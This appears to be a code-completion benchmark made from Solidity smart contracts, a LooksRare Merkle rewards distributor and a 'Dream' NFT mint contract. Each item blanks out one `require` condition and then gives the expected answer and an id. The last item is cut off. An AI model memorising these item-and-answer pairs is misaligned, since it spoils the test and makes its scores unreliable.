uint256 public constant SAFE_GUARD_AMOUNT = 1e18;
// LooksRare token
IERC20 public immutable looksRareToken;
// Keeps track of number of trees existing in parallel
uint8 public numberTrees;
// Current reward round
uint256 public currentRewardRound;
// Last paused timestamp
uint256 public lastPausedTimestamp;
// Keeps track of current parameters of a tree
mapping(uint8 => TreeParameter) public treeParameters;
// Total amount claimed by user (in LOOKS)
mapping(address => mapping(uint8 => uint256)) public amountClaimedByUserPerTreeId;
// Check whether safe guard address was used
mapping(address => bool) public safeGuardUsed;
// Checks whether a merkle root was used
mapping(bytes32 => bool) public merkleRootUsed;
event Claim(address user, uint256 rewardRound, uint256 totalAmount, uint8[] treeIds, uint256[] amounts);
event NewTree(uint8 treeId);
event UpdateTradingRewards(uint256 indexed rewardRound);
event TokenWithdrawnOwner(uint256 amount);
/**
* @notice Constructor
* @param _looksRareToken address of the LooksRare token
*/
constructor(address _looksRareToken) {
}
/**
* @notice Claim pending rewards
* @param treeIds array of treeIds
* @param amounts array of amounts to claim
* @param merkleProofs array of arrays containing the merkle proof
*/
function claim(
uint8[] calldata treeIds,
uint256[] calldata amounts,
bytes32[][] calldata merkleProofs
) external whenNotPaused nonReentrant {
require(
treeIds.length > 0 && treeIds.length == amounts.length && merkleProofs.length == treeIds.length,
"Rewards: Wrong lengths"
);
uint256 amountToTransfer;
uint256[] memory adjustedAmounts = new uint256[](amounts.length);
for (uint256 i = 0; i < treeIds.length; i++) {
require(treeIds[i] < numberTrees, "Rewards: Tree nonexistent");
(bool claimStatus, uint256 adjustedAmount) = _canClaim(msg.sender, treeIds[i], amounts[i], merkleProofs[i]);
require(claimStatus, "Rewards: Invalid proof");
require(adjustedAmount > 0, "Rewards: Already claimed");
require(<FILL_ME>)
amountToTransfer += adjustedAmount;
amountClaimedByUserPerTreeId[msg.sender][treeIds[i]] += adjustedAmount;
adjustedAmounts[i] = adjustedAmount;
}
// Transfer total amount
looksRareToken.safeTransfer(msg.sender, amountToTransfer);
emit Claim(msg.sender, currentRewardRound, amountToTransfer, treeIds, adjustedAmounts);
}
/**
* @notice Update trading rewards with a new merkle root
* @dev It automatically increments the currentRewardRound
* @param treeIds array of treeIds
* @param merkleRoots array of merkle roots (for each treeId)
* @param maxAmountsPerUser array of maximum amounts per user (for each treeId)
* @param merkleProofsSafeGuards array of merkle proof for the safe guard addresses
*/
function updateTradingRewards(
uint8[] calldata treeIds,
bytes32[] calldata merkleRoots,
uint256[] calldata maxAmountsPerUser,
bytes32[][] calldata merkleProofsSafeGuards
) external onlyOwner {
}
/**
* @notice Add a new tree
* @param safeGuard address of a safe guard user (e.g., address(0), address(1))
* @dev Only for owner.
*/
function addNewTree(address safeGuard) external onlyOwner {
}
/**
* @notice Pause distribution
* @dev Only for owner.
*/
function pauseDistribution() external onlyOwner whenNotPaused {
}
/**
* @notice Unpause distribution
* @dev Only for owner.
*/
function unpauseDistribution() external onlyOwner whenPaused {
}
/**
* @notice Transfer LOOKS tokens back to owner
* @dev It is for emergency purposes. Only for owner.
* @param amount amount to withdraw
*/
function withdrawTokenRewards(uint256 amount) external onlyOwner whenPaused {
}
/**
* @notice Check whether it is possible to claim and how much based on previous distribution
* @param user address of the user
* @param treeIds array of treeIds
* @param amounts array of amounts to claim
* @param merkleProofs array of arrays containing the merkle proof
*/
function canClaim(
address user,
uint8[] calldata treeIds,
uint256[] calldata amounts,
bytes32[][] calldata merkleProofs
) external view returns (bool[] memory, uint256[] memory) {
}
/**
* @notice Check whether it is possible to claim and how much based on previous distribution
* @param user address of the user
* @param treeId id of the merkle tree
* @param amount amount to claim
* @param merkleProof array with the merkle proof
*/
function _canClaim(
address user,
uint8 treeId,
uint256 amount,
bytes32[] calldata merkleProof
) internal view returns (bool, uint256) {
}
}
|
amounts[i]<=treeParameters[treeIds[i]].maxAmountPerUserInCurrentTree,"Rewards: Amount higher than max"
| 143,644 |
amounts[i]<=treeParameters[treeIds[i]].maxAmountPerUserInCurrentTree
|
"Owner: Merkle root already used"
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
import {Pausable} from "@openzeppelin/contracts/security/Pausable.sol";
import {ReentrancyGuard} from "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import {MerkleProof} from "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import {IERC20, SafeERC20} from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
/**
* @title MultiRewardsDistributor
* @notice It distributes LOOKS tokens with parallel rolling Merkle airdrops.
* @dev It uses safe guard addresses (e.g., address(0), address(1)) to add a protection layer against operational errors when the operator sets up the merkle roots for each of the existing trees.
*/
contract MultiRewardsDistributor is Pausable, ReentrancyGuard, Ownable {
using SafeERC20 for IERC20;
struct TreeParameter {
address safeGuard; // address of the safe guard (e.g., address(0))
bytes32 merkleRoot; // current merkle root
uint256 maxAmountPerUserInCurrentTree; // max amount per user in the current tree
}
// Time buffer for the admin to withdraw LOOKS tokens if the contract becomes paused
uint256 public constant BUFFER_ADMIN_WITHDRAW = 3 days;
// Standard safe guard amount (set at 1 LOOKS)
uint256 public constant SAFE_GUARD_AMOUNT = 1e18;
// LooksRare token
IERC20 public immutable looksRareToken;
// Keeps track of number of trees existing in parallel
uint8 public numberTrees;
// Current reward round
uint256 public currentRewardRound;
// Last paused timestamp
uint256 public lastPausedTimestamp;
// Keeps track of current parameters of a tree
mapping(uint8 => TreeParameter) public treeParameters;
// Total amount claimed by user (in LOOKS)
mapping(address => mapping(uint8 => uint256)) public amountClaimedByUserPerTreeId;
// Check whether safe guard address was used
mapping(address => bool) public safeGuardUsed;
// Checks whether a merkle root was used
mapping(bytes32 => bool) public merkleRootUsed;
event Claim(address user, uint256 rewardRound, uint256 totalAmount, uint8[] treeIds, uint256[] amounts);
event NewTree(uint8 treeId);
event UpdateTradingRewards(uint256 indexed rewardRound);
event TokenWithdrawnOwner(uint256 amount);
/**
* @notice Constructor
* @param _looksRareToken address of the LooksRare token
*/
constructor(address _looksRareToken) {
}
/**
* @notice Claim pending rewards
* @param treeIds array of treeIds
* @param amounts array of amounts to claim
* @param merkleProofs array of arrays containing the merkle proof
*/
function claim(
uint8[] calldata treeIds,
uint256[] calldata amounts,
bytes32[][] calldata merkleProofs
) external whenNotPaused nonReentrant {
}
/**
* @notice Update trading rewards with a new merkle root
* @dev It automatically increments the currentRewardRound
* @param treeIds array of treeIds
* @param merkleRoots array of merkle roots (for each treeId)
* @param maxAmountsPerUser array of maximum amounts per user (for each treeId)
* @param merkleProofsSafeGuards array of merkle proof for the safe guard addresses
*/
function updateTradingRewards(
uint8[] calldata treeIds,
bytes32[] calldata merkleRoots,
uint256[] calldata maxAmountsPerUser,
bytes32[][] calldata merkleProofsSafeGuards
) external onlyOwner {
require(
treeIds.length > 0 &&
treeIds.length == merkleRoots.length &&
treeIds.length == maxAmountsPerUser.length &&
treeIds.length == merkleProofsSafeGuards.length,
"Owner: Wrong lengths"
);
for (uint256 i = 0; i < merkleRoots.length; i++) {
require(treeIds[i] < numberTrees, "Owner: Tree nonexistent");
require(<FILL_ME>)
treeParameters[treeIds[i]].merkleRoot = merkleRoots[i];
treeParameters[treeIds[i]].maxAmountPerUserInCurrentTree = maxAmountsPerUser[i];
merkleRootUsed[merkleRoots[i]] = true;
(bool canSafeGuardClaim, ) = _canClaim(
treeParameters[treeIds[i]].safeGuard,
treeIds[i],
SAFE_GUARD_AMOUNT,
merkleProofsSafeGuards[i]
);
require(canSafeGuardClaim, "Owner: Wrong safe guard proofs");
}
// Emit event and increment reward round
emit UpdateTradingRewards(++currentRewardRound);
}
/**
* @notice Add a new tree
* @param safeGuard address of a safe guard user (e.g., address(0), address(1))
* @dev Only for owner.
*/
function addNewTree(address safeGuard) external onlyOwner {
}
/**
* @notice Pause distribution
* @dev Only for owner.
*/
function pauseDistribution() external onlyOwner whenNotPaused {
}
/**
* @notice Unpause distribution
* @dev Only for owner.
*/
function unpauseDistribution() external onlyOwner whenPaused {
}
/**
* @notice Transfer LOOKS tokens back to owner
* @dev It is for emergency purposes. Only for owner.
* @param amount amount to withdraw
*/
function withdrawTokenRewards(uint256 amount) external onlyOwner whenPaused {
}
/**
* @notice Check whether it is possible to claim and how much based on previous distribution
* @param user address of the user
* @param treeIds array of treeIds
* @param amounts array of amounts to claim
* @param merkleProofs array of arrays containing the merkle proof
*/
function canClaim(
address user,
uint8[] calldata treeIds,
uint256[] calldata amounts,
bytes32[][] calldata merkleProofs
) external view returns (bool[] memory, uint256[] memory) {
}
/**
* @notice Check whether it is possible to claim and how much based on previous distribution
* @param user address of the user
* @param treeId id of the merkle tree
* @param amount amount to claim
* @param merkleProof array with the merkle proof
*/
function _canClaim(
address user,
uint8 treeId,
uint256 amount,
bytes32[] calldata merkleProof
) internal view returns (bool, uint256) {
}
}
|
!merkleRootUsed[merkleRoots[i]],"Owner: Merkle root already used"
| 143,644 |
!merkleRootUsed[merkleRoots[i]]
|
"Owner: Safe guard already used"
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
import {Pausable} from "@openzeppelin/contracts/security/Pausable.sol";
import {ReentrancyGuard} from "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import {MerkleProof} from "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import {IERC20, SafeERC20} from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
/**
* @title MultiRewardsDistributor
* @notice It distributes LOOKS tokens with parallel rolling Merkle airdrops.
* @dev It uses safe guard addresses (e.g., address(0), address(1)) to add a protection layer against operational errors when the operator sets up the merkle roots for each of the existing trees.
*/
contract MultiRewardsDistributor is Pausable, ReentrancyGuard, Ownable {
using SafeERC20 for IERC20;
struct TreeParameter {
address safeGuard; // address of the safe guard (e.g., address(0))
bytes32 merkleRoot; // current merkle root
uint256 maxAmountPerUserInCurrentTree; // max amount per user in the current tree
}
// Time buffer for the admin to withdraw LOOKS tokens if the contract becomes paused
uint256 public constant BUFFER_ADMIN_WITHDRAW = 3 days;
// Standard safe guard amount (set at 1 LOOKS)
uint256 public constant SAFE_GUARD_AMOUNT = 1e18;
// LooksRare token
IERC20 public immutable looksRareToken;
// Keeps track of number of trees existing in parallel
uint8 public numberTrees;
// Current reward round
uint256 public currentRewardRound;
// Last paused timestamp
uint256 public lastPausedTimestamp;
// Keeps track of current parameters of a tree
mapping(uint8 => TreeParameter) public treeParameters;
// Total amount claimed by user (in LOOKS)
mapping(address => mapping(uint8 => uint256)) public amountClaimedByUserPerTreeId;
// Check whether safe guard address was used
mapping(address => bool) public safeGuardUsed;
// Checks whether a merkle root was used
mapping(bytes32 => bool) public merkleRootUsed;
event Claim(address user, uint256 rewardRound, uint256 totalAmount, uint8[] treeIds, uint256[] amounts);
event NewTree(uint8 treeId);
event UpdateTradingRewards(uint256 indexed rewardRound);
event TokenWithdrawnOwner(uint256 amount);
/**
* @notice Constructor
* @param _looksRareToken address of the LooksRare token
*/
constructor(address _looksRareToken) {
}
/**
* @notice Claim pending rewards
* @param treeIds array of treeIds
* @param amounts array of amounts to claim
* @param merkleProofs array of arrays containing the merkle proof
*/
function claim(
uint8[] calldata treeIds,
uint256[] calldata amounts,
bytes32[][] calldata merkleProofs
) external whenNotPaused nonReentrant {
}
/**
* @notice Update trading rewards with a new merkle root
* @dev It automatically increments the currentRewardRound
* @param treeIds array of treeIds
* @param merkleRoots array of merkle roots (for each treeId)
* @param maxAmountsPerUser array of maximum amounts per user (for each treeId)
* @param merkleProofsSafeGuards array of merkle proof for the safe guard addresses
*/
function updateTradingRewards(
uint8[] calldata treeIds,
bytes32[] calldata merkleRoots,
uint256[] calldata maxAmountsPerUser,
bytes32[][] calldata merkleProofsSafeGuards
) external onlyOwner {
}
/**
* @notice Add a new tree
* @param safeGuard address of a safe guard user (e.g., address(0), address(1))
* @dev Only for owner.
*/
function addNewTree(address safeGuard) external onlyOwner {
require(<FILL_ME>)
safeGuardUsed[safeGuard] = true;
treeParameters[numberTrees].safeGuard = safeGuard;
// Emit event and increment number trees
emit NewTree(numberTrees++);
}
/**
* @notice Pause distribution
* @dev Only for owner.
*/
function pauseDistribution() external onlyOwner whenNotPaused {
}
/**
* @notice Unpause distribution
* @dev Only for owner.
*/
function unpauseDistribution() external onlyOwner whenPaused {
}
/**
* @notice Transfer LOOKS tokens back to owner
* @dev It is for emergency purposes. Only for owner.
* @param amount amount to withdraw
*/
function withdrawTokenRewards(uint256 amount) external onlyOwner whenPaused {
}
/**
* @notice Check whether it is possible to claim and how much based on previous distribution
* @param user address of the user
* @param treeIds array of treeIds
* @param amounts array of amounts to claim
* @param merkleProofs array of arrays containing the merkle proof
*/
function canClaim(
address user,
uint8[] calldata treeIds,
uint256[] calldata amounts,
bytes32[][] calldata merkleProofs
) external view returns (bool[] memory, uint256[] memory) {
}
/**
* @notice Check whether it is possible to claim and how much based on previous distribution
* @param user address of the user
* @param treeId id of the merkle tree
* @param amount amount to claim
* @param merkleProof array with the merkle proof
*/
function _canClaim(
address user,
uint8 treeId,
uint256 amount,
bytes32[] calldata merkleProof
) internal view returns (bool, uint256) {
}
}
|
!safeGuardUsed[safeGuard],"Owner: Safe guard already used"
| 143,644 |
!safeGuardUsed[safeGuard]
|
"Owner: Too early to withdraw"
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
import {Pausable} from "@openzeppelin/contracts/security/Pausable.sol";
import {ReentrancyGuard} from "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import {MerkleProof} from "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import {IERC20, SafeERC20} from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
/**
* @title MultiRewardsDistributor
* @notice It distributes LOOKS tokens with parallel rolling Merkle airdrops.
* @dev It uses safe guard addresses (e.g., address(0), address(1)) to add a protection layer against operational errors when the operator sets up the merkle roots for each of the existing trees.
*/
contract MultiRewardsDistributor is Pausable, ReentrancyGuard, Ownable {
using SafeERC20 for IERC20;
struct TreeParameter {
address safeGuard; // address of the safe guard (e.g., address(0))
bytes32 merkleRoot; // current merkle root
uint256 maxAmountPerUserInCurrentTree; // max amount per user in the current tree
}
// Time buffer for the admin to withdraw LOOKS tokens if the contract becomes paused
uint256 public constant BUFFER_ADMIN_WITHDRAW = 3 days;
// Standard safe guard amount (set at 1 LOOKS)
uint256 public constant SAFE_GUARD_AMOUNT = 1e18;
// LooksRare token
IERC20 public immutable looksRareToken;
// Keeps track of number of trees existing in parallel
uint8 public numberTrees;
// Current reward round
uint256 public currentRewardRound;
// Last paused timestamp
uint256 public lastPausedTimestamp;
// Keeps track of current parameters of a tree
mapping(uint8 => TreeParameter) public treeParameters;
// Total amount claimed by user (in LOOKS)
mapping(address => mapping(uint8 => uint256)) public amountClaimedByUserPerTreeId;
// Check whether safe guard address was used
mapping(address => bool) public safeGuardUsed;
// Checks whether a merkle root was used
mapping(bytes32 => bool) public merkleRootUsed;
event Claim(address user, uint256 rewardRound, uint256 totalAmount, uint8[] treeIds, uint256[] amounts);
event NewTree(uint8 treeId);
event UpdateTradingRewards(uint256 indexed rewardRound);
event TokenWithdrawnOwner(uint256 amount);
/**
* @notice Constructor
* @param _looksRareToken address of the LooksRare token
*/
constructor(address _looksRareToken) {
}
/**
* @notice Claim pending rewards
* @param treeIds array of treeIds
* @param amounts array of amounts to claim
* @param merkleProofs array of arrays containing the merkle proof
*/
function claim(
uint8[] calldata treeIds,
uint256[] calldata amounts,
bytes32[][] calldata merkleProofs
) external whenNotPaused nonReentrant {
}
/**
* @notice Update trading rewards with a new merkle root
* @dev It automatically increments the currentRewardRound
* @param treeIds array of treeIds
* @param merkleRoots array of merkle roots (for each treeId)
* @param maxAmountsPerUser array of maximum amounts per user (for each treeId)
* @param merkleProofsSafeGuards array of merkle proof for the safe guard addresses
*/
function updateTradingRewards(
uint8[] calldata treeIds,
bytes32[] calldata merkleRoots,
uint256[] calldata maxAmountsPerUser,
bytes32[][] calldata merkleProofsSafeGuards
) external onlyOwner {
}
/**
* @notice Add a new tree
* @param safeGuard address of a safe guard user (e.g., address(0), address(1))
* @dev Only for owner.
*/
function addNewTree(address safeGuard) external onlyOwner {
}
/**
* @notice Pause distribution
* @dev Only for owner.
*/
function pauseDistribution() external onlyOwner whenNotPaused {
}
/**
* @notice Unpause distribution
* @dev Only for owner.
*/
function unpauseDistribution() external onlyOwner whenPaused {
}
/**
* @notice Transfer LOOKS tokens back to owner
* @dev It is for emergency purposes. Only for owner.
* @param amount amount to withdraw
*/
function withdrawTokenRewards(uint256 amount) external onlyOwner whenPaused {
require(<FILL_ME>)
looksRareToken.safeTransfer(msg.sender, amount);
emit TokenWithdrawnOwner(amount);
}
/**
* @notice Check whether it is possible to claim and how much based on previous distribution
* @param user address of the user
* @param treeIds array of treeIds
* @param amounts array of amounts to claim
* @param merkleProofs array of arrays containing the merkle proof
*/
function canClaim(
address user,
uint8[] calldata treeIds,
uint256[] calldata amounts,
bytes32[][] calldata merkleProofs
) external view returns (bool[] memory, uint256[] memory) {
}
/**
* @notice Check whether it is possible to claim and how much based on previous distribution
* @param user address of the user
* @param treeId id of the merkle tree
* @param amount amount to claim
* @param merkleProof array with the merkle proof
*/
function _canClaim(
address user,
uint8 treeId,
uint256 amount,
bytes32[] calldata merkleProof
) internal view returns (bool, uint256) {
}
}
|
block.timestamp>(lastPausedTimestamp+BUFFER_ADMIN_WITHDRAW),"Owner: Too early to withdraw"
| 143,644 |
block.timestamp>(lastPausedTimestamp+BUFFER_ADMIN_WITHDRAW)
|
"Exceed total supply"
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "https://github.com/chiru-labs/ERC721A/blob/main/contracts/ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
contract Dream is ERC721A, Ownable {
uint256 public TOTAL_SUPPLY = 8888;
uint256 public RESERVED_SUPPLY = 1600; // reserved for free mint
bytes32 public presaleRoot;
bytes32 public freeMintRoot;
uint256 public presalePrice = 0.08 ether;
uint256 public mintPrice = 0.10 ether;
bool public isPublicSale;
bool public isPresale;
bool public isFreeMint;
uint256 public maxPublicMint = 6;
bool isRevealed = false;
string public baseURI = "";
string public preRevealedURI = "";
mapping(address => uint256) public publicMintCount;
mapping(address => uint256) public freeMintCount;
mapping(address => uint256) public presaleMintCount;
constructor() ERC721A("Dream", "DREAM") {}
// ======== PUBLIC MINTING FUNCTIONS ========
function presaleMint(
uint256 _quantity,
bytes32[] calldata _proof,
uint256 _maxQuantity
) external payable {
require(isPresale, "presale has not started");
require(<FILL_ME>)
require(
_quantity + presaleMintCount[msg.sender] <= _maxQuantity,
"Exceed max mint amount"
);
require(msg.value >= presalePrice * _quantity, "Not enough eth sent");
require(
MerkleProof.verify(
_proof,
presaleRoot,
_convertLeaf(msg.sender, _maxQuantity)
),
"Invalid proof"
);
presaleMintCount[msg.sender] += _quantity;
_mint(msg.sender, _quantity);
}
function publicSaleMint(uint256 _quantity) public payable {
}
function freeMint(
uint256 _quantity,
bytes32[] calldata _proof,
uint256 _maxQuantity
) external {
}
// ======== UTILS ========
function _convertLeaf(address _user, uint256 _quantity)
internal
pure
returns (bytes32)
{
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function _startTokenId()
internal
view
virtual
override(ERC721A)
returns (uint256)
{
}
// ======== WITHDRAW ========
function withdraw() external onlyOwner {
}
// ======== SETTERS ========
function teamMint(uint256 _quantity) external onlyOwner {
}
function setRevealed(bool _isRevealed) external onlyOwner {
}
function setMaxPublicMint(uint256 _max) external onlyOwner {
}
function setFreeMintRoot(bytes32 _root) public onlyOwner {
}
function setPresaleRoot(bytes32 _root) public onlyOwner {
}
function setMintPrice(uint256 _presale, uint256 _public) public onlyOwner {
}
function setBaseURI(string calldata _baseURI) public onlyOwner {
}
function setPrerevealedURI(string calldata _preRevealedURI)
public
onlyOwner
{
}
function setTotalSupply(uint256 _supply) public onlyOwner {
}
function setReservedSupply(uint256 _supply) public onlyOwner {
}
function setMintBatch(
bool _public,
bool _presale,
bool _free
) public onlyOwner {
}
}
|
_quantity+totalSupply()<=TOTAL_SUPPLY-RESERVED_SUPPLY,"Exceed total supply"
| 143,685 |
_quantity+totalSupply()<=TOTAL_SUPPLY-RESERVED_SUPPLY
|
"Exceed max mint amount"
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "https://github.com/chiru-labs/ERC721A/blob/main/contracts/ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
contract Dream is ERC721A, Ownable {
uint256 public TOTAL_SUPPLY = 8888;
uint256 public RESERVED_SUPPLY = 1600; // reserved for free mint
bytes32 public presaleRoot;
bytes32 public freeMintRoot;
uint256 public presalePrice = 0.08 ether;
uint256 public mintPrice = 0.10 ether;
bool public isPublicSale;
bool public isPresale;
bool public isFreeMint;
uint256 public maxPublicMint = 6;
bool isRevealed = false;
string public baseURI = "";
string public preRevealedURI = "";
mapping(address => uint256) public publicMintCount;
mapping(address => uint256) public freeMintCount;
mapping(address => uint256) public presaleMintCount;
constructor() ERC721A("Dream", "DREAM") {}
// ======== PUBLIC MINTING FUNCTIONS ========
function presaleMint(
uint256 _quantity,
bytes32[] calldata _proof,
uint256 _maxQuantity
) external payable {
require(isPresale, "presale has not started");
require(
_quantity + totalSupply() <= TOTAL_SUPPLY - RESERVED_SUPPLY,
"Exceed total supply"
);
require(<FILL_ME>)
require(msg.value >= presalePrice * _quantity, "Not enough eth sent");
require(
MerkleProof.verify(
_proof,
presaleRoot,
_convertLeaf(msg.sender, _maxQuantity)
),
"Invalid proof"
);
presaleMintCount[msg.sender] += _quantity;
_mint(msg.sender, _quantity);
}
function publicSaleMint(uint256 _quantity) public payable {
}
function freeMint(
uint256 _quantity,
bytes32[] calldata _proof,
uint256 _maxQuantity
) external {
}
// ======== UTILS ========
function _convertLeaf(address _user, uint256 _quantity)
internal
pure
returns (bytes32)
{
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function _startTokenId()
internal
view
virtual
override(ERC721A)
returns (uint256)
{
}
// ======== WITHDRAW ========
function withdraw() external onlyOwner {
}
// ======== SETTERS ========
function teamMint(uint256 _quantity) external onlyOwner {
}
function setRevealed(bool _isRevealed) external onlyOwner {
}
function setMaxPublicMint(uint256 _max) external onlyOwner {
}
function setFreeMintRoot(bytes32 _root) public onlyOwner {
}
function setPresaleRoot(bytes32 _root) public onlyOwner {
}
function setMintPrice(uint256 _presale, uint256 _public) public onlyOwner {
}
function setBaseURI(string calldata _baseURI) public onlyOwner {
}
function setPrerevealedURI(string calldata _preRevealedURI)
public
onlyOwner
{
}
function setTotalSupply(uint256 _supply) public onlyOwner {
}
function setReservedSupply(uint256 _supply) public onlyOwner {
}
function setMintBatch(
bool _public,
bool _presale,
bool _free
) public onlyOwner {
}
}
|
_quantity+presaleMintCount[msg.sender]<=_maxQuantity,"Exceed max mint amount"
| 143,685 |
_quantity+presaleMintCount[msg.sender]<=_maxQuantity
|
"Invalid proof"
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "https://github.com/chiru-labs/ERC721A/blob/main/contracts/ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
contract Dream is ERC721A, Ownable {
uint256 public TOTAL_SUPPLY = 8888;
uint256 public RESERVED_SUPPLY = 1600; // reserved for free mint
bytes32 public presaleRoot;
bytes32 public freeMintRoot;
uint256 public presalePrice = 0.08 ether;
uint256 public mintPrice = 0.10 ether;
bool public isPublicSale;
bool public isPresale;
bool public isFreeMint;
uint256 public maxPublicMint = 6;
bool isRevealed = false;
string public baseURI = "";
string public preRevealedURI = "";
mapping(address => uint256) public publicMintCount;
mapping(address => uint256) public freeMintCount;
mapping(address => uint256) public presaleMintCount;
constructor() ERC721A("Dream", "DREAM") {}
// ======== PUBLIC MINTING FUNCTIONS ========
function presaleMint(
uint256 _quantity,
bytes32[] calldata _proof,
uint256 _maxQuantity
) external payable {
require(isPresale, "presale has not started");
require(
_quantity + totalSupply() <= TOTAL_SUPPLY - RESERVED_SUPPLY,
"Exceed total supply"
);
require(
_quantity + presaleMintCount[msg.sender] <= _maxQuantity,
"Exceed max mint amount"
);
require(msg.value >= presalePrice * _quantity, "Not enough eth sent");
require(<FILL_ME>)
presaleMintCount[msg.sender] += _quantity;
_mint(msg.sender, _quantity);
}
function publicSaleMint(uint256 _quantity) public payable {
}
function freeMint(
uint256 _quantity,
bytes32[] calldata _proof,
uint256 _maxQuantity
) external {
}
// ======== UTILS ========
function _convertLeaf(address _user, uint256 _quantity)
internal
pure
returns (bytes32)
{
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function _startTokenId()
internal
view
virtual
override(ERC721A)
returns (uint256)
{
}
// ======== WITHDRAW ========
function withdraw() external onlyOwner {
}
// ======== SETTERS ========
function teamMint(uint256 _quantity) external onlyOwner {
}
function setRevealed(bool _isRevealed) external onlyOwner {
}
function setMaxPublicMint(uint256 _max) external onlyOwner {
}
function setFreeMintRoot(bytes32 _root) public onlyOwner {
}
function setPresaleRoot(bytes32 _root) public onlyOwner {
}
function setMintPrice(uint256 _presale, uint256 _public) public onlyOwner {
}
function setBaseURI(string calldata _baseURI) public onlyOwner {
}
function setPrerevealedURI(string calldata _preRevealedURI)
public
onlyOwner
{
}
function setTotalSupply(uint256 _supply) public onlyOwner {
}
function setReservedSupply(uint256 _supply) public onlyOwner {
}
function setMintBatch(
bool _public,
bool _presale,
bool _free
) public onlyOwner {
}
}
|
MerkleProof.verify(_proof,presaleRoot,_convertLeaf(msg.sender,_maxQuantity)),"Invalid proof"
| 143,685 |
MerkleProof.verify(_proof,presaleRoot,_convertLeaf(msg.sender,_maxQuantity))
|
"Max public mint"
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "https://github.com/chiru-labs/ERC721A/blob/main/contracts/ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
contract Dream is ERC721A, Ownable {
uint256 public TOTAL_SUPPLY = 8888;
uint256 public RESERVED_SUPPLY = 1600; // reserved for free mint
bytes32 public presaleRoot;
bytes32 public freeMintRoot;
uint256 public presalePrice = 0.08 ether;
uint256 public mintPrice = 0.10 ether;
bool public isPublicSale;
bool public isPresale;
bool public isFreeMint;
uint256 public maxPublicMint = 6;
bool isRevealed = false;
string public baseURI = "";
string public preRevealedURI = "";
mapping(address => uint256) public publicMintCount;
mapping(address => uint256) public freeMintCount;
mapping(address => uint256) public presaleMintCount;
constructor() ERC721A("Dream", "DREAM") {}
// ======== PUBLIC MINTING FUNCTIONS ========
function presaleMint(
uint256 _quantity,
bytes32[] calldata _proof,
uint256 _maxQuantity
) external payable {
}
function publicSaleMint(uint256 _quantity) public payable {
require(isPublicSale, "Public sale has not started");
require(msg.value >= mintPrice * _quantity, "Not enough eth sent");
require(<FILL_ME>)
require(
_quantity + totalSupply() <= TOTAL_SUPPLY - RESERVED_SUPPLY,
"Exceed total supply"
);
publicMintCount[msg.sender] += _quantity;
_mint(msg.sender, _quantity);
}
function freeMint(
uint256 _quantity,
bytes32[] calldata _proof,
uint256 _maxQuantity
) external {
}
// ======== UTILS ========
function _convertLeaf(address _user, uint256 _quantity)
internal
pure
returns (bytes32)
{
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function _startTokenId()
internal
view
virtual
override(ERC721A)
returns (uint256)
{
}
// ======== WITHDRAW ========
function withdraw() external onlyOwner {
}
// ======== SETTERS ========
function teamMint(uint256 _quantity) external onlyOwner {
}
function setRevealed(bool _isRevealed) external onlyOwner {
}
function setMaxPublicMint(uint256 _max) external onlyOwner {
}
function setFreeMintRoot(bytes32 _root) public onlyOwner {
}
function setPresaleRoot(bytes32 _root) public onlyOwner {
}
function setMintPrice(uint256 _presale, uint256 _public) public onlyOwner {
}
function setBaseURI(string calldata _baseURI) public onlyOwner {
}
function setPrerevealedURI(string calldata _preRevealedURI)
public
onlyOwner
{
}
function setTotalSupply(uint256 _supply) public onlyOwner {
}
function setReservedSupply(uint256 _supply) public onlyOwner {
}
function setMintBatch(
bool _public,
bool _presale,
bool _free
) public onlyOwner {
}
}
|
publicMintCount[msg.sender]+_quantity<=maxPublicMint,"Max public mint"
| 143,685 |
publicMintCount[msg.sender]+_quantity<=maxPublicMint
|
"Exceed total supply"
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "https://github.com/chiru-labs/ERC721A/blob/main/contracts/ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
contract Dream is ERC721A, Ownable {
uint256 public TOTAL_SUPPLY = 8888;
uint256 public RESERVED_SUPPLY = 1600; // reserved for free mint
bytes32 public presaleRoot;
bytes32 public freeMintRoot;
uint256 public presalePrice = 0.08 ether;
uint256 public mintPrice = 0.10 ether;
bool public isPublicSale;
bool public isPresale;
bool public isFreeMint;
uint256 public maxPublicMint = 6;
bool isRevealed = false;
string public baseURI = "";
string public preRevealedURI = "";
